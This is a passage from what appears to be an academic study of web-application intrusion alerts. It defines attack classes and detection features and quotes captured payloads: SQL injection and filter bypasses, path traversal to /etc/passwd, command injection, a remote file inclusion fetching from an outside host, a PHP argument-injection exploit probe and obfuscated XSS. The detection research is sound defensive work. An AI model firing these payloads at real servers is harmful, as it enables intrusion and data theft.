experiment because during the test period it appeared that no Buffer Overflow alerts were
received. This attack class is analysed for its features but extraction of these features is not
implemented for the experiment.
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5.1.2. Cross-site Scripting

In a Cross-site Scripting attack, often referred to as XSS, an attacker indirectly offers malicious
client-side scripting code to a victim’s browser to be executed. This code can be injected in a
genuine website, for example in a forum post, or it can be included in a request query that the
victim then has to use in order to trigger the attack. The by the victim activated malicious
scripting code is then run in the security context of the victim’s browser, having access to for
example the victim’s HTTP cookie data.

XSS can be classified as reflected, stored or DOM based. Reflected XSS is a non-persistent form of
XSS, where a malicious script is included in, for example, a URL request query or in a cookie
parameter. A victim is then tricked into using the URL, or the URL is hidden in a web page, for
example in a hidden iframe? that is manipulated by the attacker. The server-side vulnerability in
reflected XSS is that the malicious input is not detected and that it is returned (i.e. reflected)
directly in the response. This causes the malicious script to be executed in the victim’s browser
environment. In stored XSS, an attacker injects a malicious script into a non-malicious but
vulnerable web application, where the script is then stored within the web application. A victim
that visits the web application later will then receive the injected script, again causing it to be
executed in the victim’s browser. Injection of scripts is possible in for example a forum or
guestbook. The third class of XSS, DOM based XSS, is defined more recently (Klein, 2005) than the
other two classes. DOM is the Document Object Model, an object oriented representation of
documents such as HTML documents. With DOM, the document’s contents and properties can be
handled by programming languages such as JavaScript. Properties of an HTML document include
HTTP information such as document.url and document.referrer. In a DOM based XSS attack, the
DOM environment is influenced causing malicious behavior.

To circumvent detection of a XSS attack, attackers can obfuscate the recognizable attack patterns.
An example where too straightforward detection did not work is the 2005 MySpace, or Samy
XSS-worm, that infected MySpace. Myspace filtered all occurrences of “<script>" and “javascript”.
However, the Myspace worm used “java\nscript”, with a newline character in between “java” and
“script”. As described by Wassermann, and Zhendong (2008), Internet Explorer concatenates
strings broken by newlines and allows javascript in cascading style sheets. Also, Internet
Explorer allows for script code in cascading style sheet tags, so the worm could include script as
follows:

<div style="background:url(‘java\nscript: ...")">

Because of these two obfuscation techniques, the MySpace worm could circumvent
straightforward detection, but remained functional.

Features of XSS attacks have been researched by others. In a recent study (Nunan, Souto, Santos
& Feitosa, 2012) features were categorized in three groups: obfuscation based, suspicious
patterns, and HTML/JavaScript schemes. Obfuscation based features were the use of alternative
encodings such as hexadecimal or Base64 encodings, and the URL length because obfuscated
code tends to be longer. Suspicious patterns were the use of multiple domain names in one URL,
use of multiple special characters such as “<” to circumvent XSS filtering, and the use of keywords
such as banking, redirect, root, password, commonly found in attacks. Their last category,
HTML/JavaScript schemes were typical HTML-tags (e.g. <script>, <iframe>), HTML properties
(e.g. href, HTTP-equiv), event handlers (e.g. onclick, onmouseover), DOM objects (e.g. Windows,
Document), and other properties such as Cookie, Referrer or JavaScript methods such as write(),
alert(), or fromCharCode(). In their experiment, Nunan et al. (2012) reached a detection rate up
to 99% with a False Alarm rate as low as 0.22% using Naive Bayes. With the use of another
statistical machine learning method, Support Vector Machines (SVM) even higher detection rates
where achieved.

1 An iframe is an HTML element; a hidden iframe is an iframe that is not displayed to the user by a
web browser.
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Wang, Mao, & Lee (2010) mention the use of HTML entity codes, URL encoding, Base64, and
double encoding as frequently used obfuscation techniques in XSS attacks.

Johns, Engelmann, and Posegga (2008) used separate detection for reflective XSS and for stored
XSS. Detection of reflective XSS was done, for example, by comparing HTTP request and response
messages containing longer JavaScript code. They achieved a rate of zero false negatives, and no
false-positives for 80% of the web applications used in their experiment.

In the detection of XSS attack class I will gather characteristics of these types of XSS attacks, and
build the Bayesian detection model with these characteristics. First, all input is analyzed for the
use of encodings, and then decoded thoroughly. After the decoding process, indications of
suspicious patterns, tags, properties and event handler are analyzed.

5.1.3. SQL injection

With SQL injection an attacker is able to inject SQL keywords and operators, changing the
intended SQL query that is executed in the web application’s server side source code. Normally, a
user would provide input that is used as a value in an expression, which is part of an SQL query.
An attacker is able to escape the intended expression, extending the SQL query with malicious
goals.

User input SQL query

results Query result

Figure. SQL injection

An example of SQL injection is when a web application requires a login, and the user has to
provide a user-id and a password. This input would then typically be passed to the
webapplication as POST-parameters where the login attempt is validated by checking the
password in the database. The resulting vulnerable source code in a php webapplication could
be:

$query = “SELECT * FROM users WHERE user=""+ $_POST[“userid”] + ”” AND password=""+
$_POST[“password”] + “’";

An attacker could enter a userid “hacker” and a password “idontknow’ OR x’="x". This would then
result in the following query:

SELECT * FROM users WHERE user="hacker’ AND password="idontknow’ OR X’=x’

resulting in bypassing the authentication check, because logically this WHERE clause evaluates to
being true always. An attacker could also enter a userid “admin’-- “ resulting in the the query:

SELECT * FROM users WHERE user="admin’-- AND password="

where ‘--‘ is the comment operator in SQL, resulting in removing the password check from the
WHERE clause.

In SQL injection, as also mentioned with XSS, obfuscation is used by attackers to circumvent
detection. An example of obfuscation using source code comments is from the ModSecurity SQL
Injection challenge to bypass SQL injection filter detection. ModSecurity is a rule-based open
source web application firewall. One of the successful attempts to bypass all filters (“SQL
Injection Challenge: Lessons Learned”, 2011) was with the following request:

http://www.modsecurity.org/testphp.vulnweb.com/artists.php?
artist=0+div+1+union%23foo*%2F*bar%0D %0Aselect%23f00%0D%0A1%2C2%2Ccurrent._
user
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This request uses an, at that time undetected combination of MySQL comments. The SQL payload
decodes to:

0 div 1 union#foo*/*bar
select#foo
1,2,current_user

This is executed as:

0 div 1 union select 1,2,current_user

So, while circumventing detection rules, the interpretation of the obfuscated query still leads to
successful execution of the query.

In the previous example, the SQL injection attack query was added to an HTTP query parameter.
Note that SQL injection can be successful in any input that is used in an SQL query. This input can
come from GET query parameters, POST message data and also from cookie or other header
contents.

Halfond, Viegas, and Orso (2006), and Halfond, Orso, and Manolios (2008) describe different
types of SQL injection attacks and existing detection techniques. The different types of attacks
and their characteristics are related to the attack intent of the attacker. The different attack
intents defined are to:

- Identify injectable parameters,

- Perform database fingerprinting,
- Determine the database schema,
- Extract data, add or modify data,
- Perform denial of service,

- Evade detection,

- Bypass authentication,

- Execute remote commands and

- Perform privilege escalation.

For these intents, Halfond, et al (2006, 2008), describe the following different types of SQL
injection:

- Tautologies, where an attacker transforms the WHERE clause into a tautology.

- Illegal/Logicallly incorrect queries, to cause exceptions, giving information about the
type and structure of the backend database system.

- Union Query attacks, where an attacker can change the returned dataset by using a
UNION SELECT construction.

- Piggy-Backed queries, where an extra query is added, e.g. with an input
“Jack’; drop table users --“ changing a query string into a double query like:
SELECT * FROM users WHERE user="Jack’; drop table users -- <rest of the original query>

- Stored Procedures, where an attacker is able to exploit stored procedures, a mechanism
often mentioned as the solution against SQL injection. This mechanism however can also
be vulnerable to SQL injection attacks.

- Inference, where an attacker infers the successfulness of an attempt from the response
behavior of the system. The noted behavior can be on different aspects, for example (lack
of) continuation in the website, or changes in timing for successful or unsuccessful
attempts. Examples of inference and other advanced SQL injection attacks can be found
in (Anley, 2002).

- Alternate encodings, where different encoding of characters, e.g. hexadecimal or Unicode
encoding, is used to evade detection mechanisms.

In the detection of the SQL injection attack class [ will gather characteristics of these types of SQL
injection attacks, and build the Bayesian detection model with these characteristics. First, all
input is analyzed for the use of encodings, then decoded thoroughly. After the decoding process,
indications of tautologies, SQL queries and typical SQL injection patterns are analyzed.

19



Alert classification of web application attacks - Attack Classes and Features

5.1.4. Buffer Overflows

In a Buffer Overflow attack, an attacker is able to run code (native CPU instructions) within a
vulnerable computer process. The code can be injected by the attacker in the process’ address
space, or the attacker can jump to code already present on the system and available to the
computer process. The vulnerability that makes the attack possible, a buffer overflow
vulnerability, determines the name of this attack category. Different types of Buffer Overflows
can be distinguished based on the location of the buffer in memory. Cowan, Wagle, Pu, Beattie &
Walpole (2000) define stack based buffers, heap based buffers, and static data area buffers. An
alternative approach, to injecting malicious code, used by attackers is to use code that is already
available to the process. The attacker then only needs to be able to set certain parameters and to
make the process jump to the particular code. An often mentioned example of this injectionless
type of attack is the Return-to-libc attack method (Designer, S., 1997). This type of attack is
developed and used to circumvent stack memory protection against Buffer Overflow attacks,
where the stack memory is set to non-executable memory.

The school-book example of a Buffer Overflow attack is a stack-based Buffer Overflow attack,
first described by AlephOne (1996), who’s real name is Elias Levy, in the infamous article
“Smashing The Stack For Fun and Profit”. In the typical stack Buffer Overflow attack an attacker
injects malicious code into a vulnerable buffer that is located in stack memory. The attacker then
overflows the buffer until the stack frame’s return address is reached. This return address is then
overwritten with the starting location of the injected code, causing the process to jump to that
location. This happens in the process’ execution flow when the return address is read from the
stack frame and replaced in the processor’s instruction pointer register.

Since Buffer Overflows attack data typically contain computer processor instructions and
computer memory addresses, the percentage of non-printable characters will often be high
compared to normal attribute values in HTTP requests.

Robertson, Vigna, Keugel & Kemmerer (2006) mention the use of binary value as ASCII values
greater than 0x80 as a general characteristic of Buffer Overflow attacks. According to Wang, Pan,
Liu & Zhu (2010), “buffer overflow attacks typically contain executables whereas legitimate
client requests never contain executables in most Internet services”. Their SigFree application
level detection, a signature free Buffer Overflow detection tool, looks for executable code in
input.

Another typical characteristic of Buffer Overflow attacks is the use of extra nop (no operation)
instructions as a so-called nop-sled or -sledge before the actual exploit code. A nop-sledge is used
by attackers to increase the chance of a successful attack. With a nop-sledge placed before the
injected code, the jump to the starting memory address of the injected code can be less precise,
solving the problem that an attacker might not know the exact memory location within the stack
memory where the injected code is copied. Toth & Kruegel (2002) focus on detecting such a nop-
sledge as the detection mechanism for Buffer Overflows. The typical nop instruction in an Intel
processor is the instruction with opcode 0x90, however other instructions can also be used with
the same no operation effect. Toth & Kreugel state that for Intel IA32 architecture alone over 50
single-byte opcodes can be used as a nop instruction. Also multi-byte opcodes with arguments
can be used by an attacker if applied carefully. In fact, any instruction that has no negative side
effect in the attack can be used by an attacker as a nop instruction. For example, if a CPU register
EBX is not used during the attack, the attacker could include adding a random value to the
register’s current contents. An attacker can use any combination of operations in a nop-sledge,
making straightforward detection of nop-sledges impossible in advanced attacks. Toth & Kruegel
use abstract execution to test for valid nop instructions. With abstract execution, the byte values
of input are evaluated and interpreted to test if it can be represented as a sequence of
consecutive valid instructions. For this, the byte sequences must be syntactically valid
instructions and all used memory addresses must be accessible by the process. A nop-sledge is
then recognizable by the length of executable sequences, which are long compared to those in
legitimate requests.

In the reconnaissance phase of a Buffer Overflow attack, or in testing for Buffer Overflow
vulnerabilities, fuzzing is often used. When fuzzing for Buffer Overflows and learning the correct
memory locations for an attack, an attacker will often start with injection of test strings with
increasing length. If a Buffer Overflow vulnerability exists, eventually a test string will overflow a
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return address or other vital memory values, causing a crash or different behaviour of the
vulnerable computer process. Vulnerability scanners also use fuzzing to detect vulnerabilities. A
single- or multi-byte pattern repetition detection could be used for detection of the typical
application of Buffer Overflow fuzzing.

Hsu, Guo, & Chiueh, (2006) detect repeating memory addresses in their network based detection
system called Nebula. Nebula detects the memory address that is injected in an attack as the
starting location of the malicious code to be executed. It is stated that this memory address is
often repeated “to accommodate differences in the address of the target control-sensitive data
structure due to different combinations of compiler, loader, operating system, and command-line
arguments”. These (repeating) memory addresses should be located in the stack region or text
region of process memory for respectively code injection attacks or return-to-libc attacks.

Features that can be used in the experiment are the number of non-printable characters, and
repeating patterns of different lengths and formats. Also the abstract execution detection

mechanism of Toth & Kruegel (2002), although rather complex to implement, could give good
success rates.

5.1.5. Path Traversal
In a Path Traversal, or Directory Traversal attack, an attacker tries to access files and folders on
the webserver that are outside the web root folder. Path Traversal normally tries to navigate out
of the virtual webfolder towards the server’s system folders using relative paths. A typical
example of such a Path Traversal attack:
http:// www.example.com/vulnerable.php?search-=../../../../../../../.././etc/passwd
However, also absolute paths can be used in Path Traversal attempts:
http://www.example.com/?search=C%3A%2Finetpub%2Fwwwroot%2Fglobal.asa

which will (url-)decode to:

http://www.example.com/?search=C:/inetpub/wwwroot/global.asa

Obfuscation and encoding is often used in Path Traversal attempts to avoid detection. URL-
encoding and double-encoding might also be used to obfuscate suspicious path patterns in the
HTTP request query to the user:

http://www.example.com/scripts/..%255c../winnt/system32 /attrib.exe’c:\ *.*

Here, double URL-encoding is used, which means that the percentage character in the URL-
encoding is also URL-encoded. This request, in a first decoding step, decodes to:

http://www.example.com/scripts/..%5c../winnt/system32 /attrib.exe?c:\ *.*
and in a second decoding step to:
http://www.example.com/scripts/../../winnt/system32/attrib.exe?c:\ *.*

If, in the detection process only one round of decoding is performed, the Path Traversal pattern
will not be revealed and therefore probably not detected.

A special case of Path Traversal obfuscation in Microsoft’s IIS webserver was discovered in 2000.
In the Unicode support so-called overlong representation of characters were supported. Because
of this characters ‘/’ and ‘\’ could be represented in URL-encoded overlong Unicode
representation as respectively ‘%c0%af’ and ‘%c1%9c’. An example use in a Path Traversal
attempt in an HTTP POST request:
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POST /index.php/?action=submitlogin&returnto=Speciaal:Zoeken&
title=..%c0%af..%c0%af..%c0%af..%c0%af.. % c0%af.. % c0%af.. % c0%af.. % c0 % afetc/passwd
&type=login HTTP/1.1

Such patterns will not be decoded in a URL-decoding process, but an IIS webserver would
interpret it as a directory path.

5.1.6. Reconnaissance

During testing, acting as an IDS administrator handling event alerts, there were anomaly alerts
that could not be placed in a standard category of for example XSS, or SQL injection attacks, but
were not false positives either. For example, when a request is done to identify certain
functionality such as WordPress content management system, which is not present on the
guarded webserver, it was labelled as reconnaissance. Also, header-less HTTP-request attempts,
null-scans, and other types of scans were labeled as Reconnaissance, sometimes without being
able to determine the (malicious) purpose of the Reconnaissance.

To show for the diversity of alerts that were labeled as Reconnaissance attacks some examples
are given next with an explanation.

Attempt to connect to radmin Trojan.

Radmin is a remote administration tool, not necessarily malicious. However, it can be installed by
a Trojan to give remote access to for example a Command & Control server controlling the
infected computer remotely. The alert was given on binary data received over port 80 as
displayed in the figure below. Since the server is not infected and radmin is not running on the
server, this alert was labeled as a Reconnaissance, in this case a random scan for radmin.

[ Hypertext Transfer Protocol
v Data (10 bytes)
Data: 01000000010000000808
[Length: 10]

Figure. Binary data over http

Snort has a rule defined for this specific event, the rule with sid 12373.

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"BACKDOOR radmin 3.0 runtime detection -
initial connection"; flow:to_server,established; content:"|01 00 00 00 01 00 00 00 08 08|"; depth:10;
flowbits:set.Radmin3.0 conn detection: flowbits:noalert: classtvpe:troian-activitv: sid:12373: rev:1:)

Figure. Snort rule for radmin Trojan

Wootwoot
The w00tw00t Reconnaissance scan is a malformed HTTP Get-request. The request below is the
complete request, so no host- or other headers are included:

<~ Hypertext Transfer Protocol
P GET /wOOtwOOt.at.ISC.SANS.test0:) HTTP/1.1\r\n
\r\n

Figure. Malformed HTTP request

Because of the absolute path in the request URI, the host-header is required to specify the
hostname. Therefore this request is not conform the HTTP standard, causing an HTTP return
status code 400 Bad request.

HTTP/1.0 requests and invalid host-value

The current version of the HTTP protocol is 1.1 since 1996. The only alternative is HTTP/1.0, but
this is normally not used any more by browsers, although some tools such as the well-known
wget utility use http version 1.0. In the example request below http version 1.0 is used by a
Netcraft bot.
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~ Hypertext Transfer Protocol
D GET / HTTP/1.0\r\n
Host: wwwi.seclab.nl\r\n
Accept-Charset: IS0-8859-1,utf-8;q=0.7,%*;q=0.7\r\n
User-Agent: Mozilla/S5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)\r\n
Accept-Encoding: identity\r\n
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,1mage/png,*/*;q=0.5\r\n
Accept-Language: en-gb,en;g=0.5\r\n
Connection: close\r\n
\r\n

Figure. HTTP/1.0 request

Another characteristic in this request is the incorrect Host-header value wwwi.seclab.nl. The
request originates from the Netcraft internet survey exploring the internet, keeping statistics
such as the number of active websites, and webserver market shares. It is not really malicious
behavior but is not a normal website request either.

Characteristics of the Reconnaissance attack class

Because the malicious requests that were labeled as Reconnaissance attacks vary a lot it has no
shared concrete attack features. However, shared characteristics might come from the validity of
the HTTP requests and error codes returned. Features that were extracted for the category of
Reconnaissance attacks are:

1. HTTP/1.0 requests, which appears typical for scans, malicious or non-malicious.

2. Error return codes, such as 400 Bad request response, 404 Not Found, 405 Method not
allowed are a typical signal for Reconnaissance attacks.

3. Ahost-value containing an [P-address instead of using the domain name for the website.

4. Anincorrect host-value (either as domain name or ip-address).

5.1.7. Other

Any attack that cannot be labelled as one of the five attack categories is labelled as ‘other’. In fact,
this then becomes a sixth category that also must be detected by the Bayesian classifier. It is a
strange class because it cannot be defined. It will be interesting to find out how a Bayesian
classifier copes with an undefined class.

To show for the diversity of alerts that were labeled as ‘Other’, some examples are given next
with an explanation.

Command injection attack
The request below was part of an attack that consisted of multiple attempts with command
injection type of attack attempts.

v Hypertext Transfer Protocol
P POST /index.php/?action=submitlogin&returnto=Speciaal:Zoeken&title=Speciaal:Aanmelden&type=login HTTP/1.1\r\n
P Content-Length: 95\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Cookie: wikidb_session=40553b5422361e4265eaefaaf03d49co\r\n
Host: wiki.seclab.nl:80\r\n
Connection: Keep-alive\r\n
Accept-Encoding: gzip,deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)\r\n
\r\n
[Full request URI: http://wiki.seclab.nl:80/index.php/?action=submitlogin&returnto=Speciaal:Zoeken&title=Speci

¥ Line-based text data: application/x-www-form-urlencoded
wpLoginattempt=%0acat%20%2f etc%2f passwd%0aswpName=1wqldxwoswpPassword=g00dPa$$wOrD&wpRemember=1

Figure. Command injection attack

The HTTP request itself is a valid login request, but the value of the wpLoginattempt parameter
contains URL-encoded character values of non-printable binary characters decoded to a
command injection attempt of “cat /etc/passwd”.
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Remote File Inclusion
In the request below an attempt is made to include a remote file metri.jpg which probably is not a
jpeg picture file, but in fact is a malicious executable file or script.

v Hypertext Transfer Protocol
P GET /index.php//include/mail.inc.php?skin_board_path=http://hasdeu.ro/seyretfiles/tools/converter/metri.jpg?? HTTP/1.1\r\n
TE: deflate,gzip;q=0.3\r\n
Connection: TE, close\r\n
Host: wiki.seclab.nl\r\n
User-Agent: Mozilla/S.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6\r\n
\r\n

Figure. Remote File Inclusion attack

Exploit attempt
This request shows a first step in the exploit of a vulnerability in the webhosting management
tool Plesk.

[ Hypertext Transfer Protocol
D [truncated] POST /%70%68%70%70%61%74%68/%70%68%707 %2D%64+%61%6C%6C%6 %7 7%5F % 7 5% 7 %6 C%sSF%6 6
Host: 88.159.9.131\r\n
Content-Type: application/x-www-form-urlencoded\r\n
D Content-Length: 64\r\n
\r\n
[Full request URI [truncated]: http://88.159.9.131/%70%68%70%70%61%74%68/%7 0%68%707 %20%64+%6]
[ Line-based text data: application/x-www-form-urlencoded
<?php echo "Content-Type:text/html\r\n\r\n";echo "___2pac\n"; 7>

Figure. Exploit attempt Plesk vulnerability

The POST request is a heavily URL-encoded request:

POST
/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%
6E %63%6C%75%64%65%3D%6F %6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66
+%2D%64+%73%75%68%6F%73%69%6E%2E %73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%
2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E %63%74%69%6F%6E%73%3D%22%22+%2D %64
+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F %6E%65+%2D%64+%61%75%74%6F%
5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%7
4+%2D%6E HTTP/1.1

The request decodes to:

/phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d
disable_functions=""-d open_basedir=none -d auto_prepend._file=php://input -nT

The POST data simply echo’s a string to be able to detect if the vulnerability exists as a first step
in the further attack if the webserver turns out to be vulnerable.

<?php echo "Content-Type:text/html\r\n\r\n";echo "__2pac\n"; 7>

These different attacks show that no overlapping features can be defined, and in further
research, clear attack classes should be chosen for the other types of attacks. For this experiment,
the detection must come from the fact that these attacks do not match any other attack class.
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5.2.  Attack features

From the analysis of the defined attack classes attack features are selected. The alerts’ attack
features will be extracted from HTTP query parameters, HTTP headers and POST data. In total,
24 features are defined. An overview and short description of all features is listed below. The
justification for most of these features comes from the analysis of the attack features in the attack
classes as described in the previous paragraph. After describing the features an overview is given
of the expected contribution of the features to the attack classes.

5.2.1. Feature overview
For the 24 chosen features a description is given, the value type and expected values are given,
and if relevant expectations or limitations are described.

URL length.
The URL length is defined as the total length in bytes of the request URI in the HTTP request. This
length is taken before any decoding is done.

'~ Hypertext Transfer Protocol
P GET /manager/html HTTP/1.1\r\n
Host: 88.159.9.131:80\r\n
User-Agent: Mozilla/S.0 (Windows NT S5.1; rv:5.0) Gecko/20100101 Firefox/S.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Charset: IS0-8859-1,utf-8;q=0.7,%*;q=0.7\r\n
Connection: keep-alive\r\n
\r\n

Figure. Example where the URL length is 13 characters

The URL length in the example is 13 characters which is the length of the request URI
‘/manager/html’. The expectation is that the URL length increases when XSS scripts are included.
This will be amplified when obfuscation techniques are used. With SQL injection attacks the
length might also increase, but to a lesser extent. Path Traversals normally do not need extra
lengthy parameter values, unless the traversals are overdone. Part of the reconnaissance attacks
have a shorter length in stead of a longer length, but this will then also be differentiating for that
attack class. Other attacks can have a broader value range for the URL length because different
types of attacks are in this class.

Of course it should be noted that URI’s by themselves can be of arbitrary length, so a lot of noise
is expected in this value too. It also should be noted that the attack could very well not be in the
request URI at all, but for example in the POST data or header-values, leading to more noise.

Maximum parameter length.

The maximum parameter length is defined as the maximum length in bytes of any of the
parameters found in the request-URI, headers, or POST data. It is similar to the URL length, but
more specific and also measures the length of header values and post data parameters.

'~ Hypertext Transfer Protocol
D POST /wp-login.php HTTP/1.1\r\n
Host: wiki.seclab.nl\r\n
Accept: */*\r\n
Content-Length: 87\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
[Full request URI: http://wiki.seclab.nl/wp-login.phpl
'~ Line-based text data: application/x-www-form-urlencoded
log=admin&pwd=121212&redirect_to=http%3A%2F%2Fwiki . seclab.nl%2Fwp- admin%2F&testcookie=1

-

Figure. Example where an irrelevant maximum parameter value is taken

In the example the longest parameter is the header Content-Type, not the POST parameter
redirect_to that contains the intrusive data. As shown by the example the wrong value can be
taken for this feature if a longer parameter value exists than the parameter with the intrusion
data. This parameter therefore only contributes to the analysis for long attack values and gives
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noise in stead of extra contribution to the attack characteristics for shorter values. Note that if
alert information from the SilentDefense IDS would have been used, only the parameter that
caused the alert could be used for this feature’s value.

HTTP version

The HTTP-version in the request, normally ‘HTTP/1.1’ because that is the standard since 1999.
The only other valid option is ‘HTTP/1.0’. As explained in the previous paragraph,
reconnaissance scans sometimes use HTTP version 1.0. For other attack classes this version
value is not expected.

'~ Hypertext Transfer Protocol
b GET / HTTP/1.0\r\n
Host: wwwi.seclab.nl\r\n
Accept-Charset: IS0-8859-1,utf-8;q=0.7,%*;q=0.7\r\n
User-Agent: Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)\r\n
Accept-Encoding: identity\r\n
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,1mage/png,*/*;q=0.5\r\n
Accept-Language: en-gb,en;q=0.5\r\n
Connection: close\r\n
\r\n

Figure. HTTP/1.0 request

HTTP status code response

The return code in the HTTP response. The possible return code values are defined for five
classes of responses:

1xx - Informational; This code is not seen a lot and not specific for any of the attacks.

2xx - Succes; Mainly code 200 OK is expected for most attack attempts.

3xx - Redirection; The client must undertake action to complete a request, e.g. go to another URL
4xx - Client Error; Client seems to have erred, and receives e.g. an Authentication error

5xx - Server Error; Server failed to fulfil a valid request.

<~ Hypertext Transfer Protocol v Hypertext Transter Protocol
P GET fadmin/login.php HTTP/1.1\r\n P HTTP/1.1 404 Not Found\r\n
Host: wiki.seclab.nl\r\n Date: Thu, 27 Jun 2013 01:03:49 GMT\r\n
Keep-Alive: 300\r\n Server: Apache\r\n
Connection: keep-alive\r\n P Content-Length: 204\r\n
[truncated] Cookie: wordpress_29eaed3 Keep-Alive: timeout=15, max=95\r\n
llcar. . Anant: Ma=1112/5 0O (1 3miive 11 AY Conmmactiones Konn Aliun) ryn

Figure. Request and Error response HTTP return code 404

Error codes or expected Reconnaissance attacks more often than for other attack types. As can be
seen in the example an HTTP 404 return code is returned on a Reconnaissance scan for a
Wordpress login script. Reconnaissance attacks are expected to generate most HTTP errors
because this class contains invalid requests and requests to non-existing resources. Other attacks
such as Path Traversals, SQL injection and Other attacks might sometimes generate an error. XSS
is not expected to generate a lot of errors.

HTTP request method

The HTTP request method that was used, e.g. GET, or HEAD, is also defined as a feature, mainly
for Reconnaissance attacks. GET and POST requests are expected mostly for all attack classes.
Only for Reconnaissance some use of other request methods is expected.
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v Hypertext Transfer Protocol 7 Hypertext Transfer Protocol
b PUT /MSF-SmYLM.txt HTTP/1.1\r\n b HTTP/1.1 405 Method Not Allowed\r\n
Host: wiki.seclab.nl\r\n Date: Mon, 17 Jun 2013 15:35:16 GMT\r\n
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +htf] Server: Apache\r\n

Allow: GET,HEAD,POST,OPTIONS, TRACE\r\n
P Content-Length: 234\r\n
Content-Type: text/html; charset=iso-88q

Accept: */*\r\n
Content-Type: application/x-www-form-urlencoded\r\n
P Content-Length: 37\r\n

\r\n
\r\n o [ Line-based text data: text/html
[Full request URI: http://wiki.seclab.nl/MSF-SmYLM.txt] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTM
v Line-based text data: application/x-www-form-urlencoded <html><head>\n
Created by Metasploit Pro. SmYLMeCRWa <title=>405 Method Not Allowed</title>\n

Figure. A PUT request and response error

In the example a PUT request is made to the webserver, which is not allowed, hence the return
code 405 Method not allowed.

HTTP request has no CRLF ending

After the request line and headers, an HTTP request must end with a carriage return (CR) and a
line feed (LF) according to the HTTP standard. Non-compliant requests might indicate requests
generated by tools or incomplete malicious scripts. These requests are expected mainly with
Reconnaissance attacks and maybe with Other type of attacks.

v Hypertext Transfer Protocol
P GET /CFIDE/administrator/ HTTP/1.0\n
\n

Figure. An HTTP request that is non-compliant to the HTTP standard.

Extra URL encodings
Some reserved characters have to be encoded in the URL in an HTTP request when they have a
special meaning in the URL.

ood# s & 1 D I+ L e = 2 e (T ]

%21 | %23 | %24 | %26 | %27 | %28 | %29 | %2A | %2B | %2C | %2F | %3A | %3B | %3D | %3F | %40 | %5B | %5D

Table. Reserved characters and their URL encoded values.

Attackers often encode extra characters for obfuscation. URL encoding is applied where this is
not required to obfuscate the attack. This unnecessary URL encoding is therefore suspicious.
Unnecessary URL encoding is expected in all attack classes except for scans. The amount of extra
URL encodings is counted, which might give a different distribution for different types of attacks.
An example of the use of unnecessary URL encodings in a XSS attack:

POST
/index.php/?action=submitlogin&returnto=Speciaal:Zoeken&title=Speciaal:Aanmelden&
type=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28933278%29%3c%2fScRi
Pt%3e HTTP/1.1\r\n

Which URL-decodes to:

POST
/index.php/?action=submitlogin&returnto=Speciaal:Zoeken&title=Speciaal:Aanmelden&
type=""()&%1<ScRiPt >prompt(933278)</ScRiPt>

HTTP/1.1\r\n

Double encodings

The use of %25 as the URL encoded percent character is often used by attackers in an attempt to
circumvent detection. If the ‘%’ of a URL encoded character is also URL encoded, two rounds of
decoding are necessary to be able to detect an attack pattern. Some detection mechanism might
not do this correctly. An example:
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GET /index.php/Speciaal:Zoeken?
search=%253CIMG%2BSRC%253D%2522javascript%253Aalert%2528%2527XS5%2527%2
529%253B%2522%253E&

fulltext=Zoeken HTTP/1.1

Which, in the first decoding round, decodes to:

GET /index.php/Speciaal:Zoeken?
search=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E&
fulltext=Zoeken HTTP/1.1

And in the second round to:

GET /index.php/Speciaal:Zoeken?
search=<IMG SRC="javascript:alert('XSS’);">&
fulltext=Zoeken HTTP/1.1

Double encodings are expected in XSS attacks, but also in SQL injection and Path Traversal
attacks.

Unicode, Base64, and Hex encoding of characters

Other types of obfuscation through encoding are also extracted as features, such as overlong
Unicode representations, Base64 encoding of attack code, or Hex encoded text characters.
Unicode can be used by attackers the hide attacks in request URI’s or request message. The use of
Base64 encoding was mentioned as an obfuscation technique in XSS attacks, but could be used in
other attack forms also. The use of hex encoded data, especially of printable characters is very
suspicious. All these encodings indicate possible malicious intent. The amount of encoding is
counted for these features, which might lead to a different distribution for the attack classes. An
example where hex encoded characters are used in a XSS attack:

GET /index.php/Speciaal:Zoeken?search=pindakaas&
go=eval('\x61\x6¢c\x65\x72\x74(1)') HTTP/1.1\r\n

Which decodes to:

GET /index.php/Speciaal:Zoeken?search=pindakaas&go=eval('alert(1)’) HTTP/1.1\r\n

Malicious Tags, Suspicious XSS patterns, HTML entity codes, Javascript methods, event handlers,
Suspicious DOM objects

These features are used to detect XSS mainly. HTML Tags or specific XSS patterns that are often
used in XSS attacks. HTML tags to look for are <script>, <javascript>, <iframe>, and attributes
such as http-equiv, and lowsrc. Suspicious patterns were mentioned from other research in the
previous paragraph to occur frequently in XSS attacks, e.g. “xss”, use of double angle brackets ‘<<’
as an extra form of obfuscation against detection. Also the use of html comments is seen as a way
to obfuscate an XSS attack. HTML entity names (e.g. &It) and codes (e.g. &#69, or &#x45) are
normally used to encode reserved characters in HTML. In an attack it can be used as an extra
form of obfuscation, also applied when not required. Suspicious javascript methods are e.g.
fromCharCode(), alert(), eval(). Javascript event handlers such as onMouseOver or onLoad are
sometimes used in XSS attacks. If present in request parameters, these event handlers are
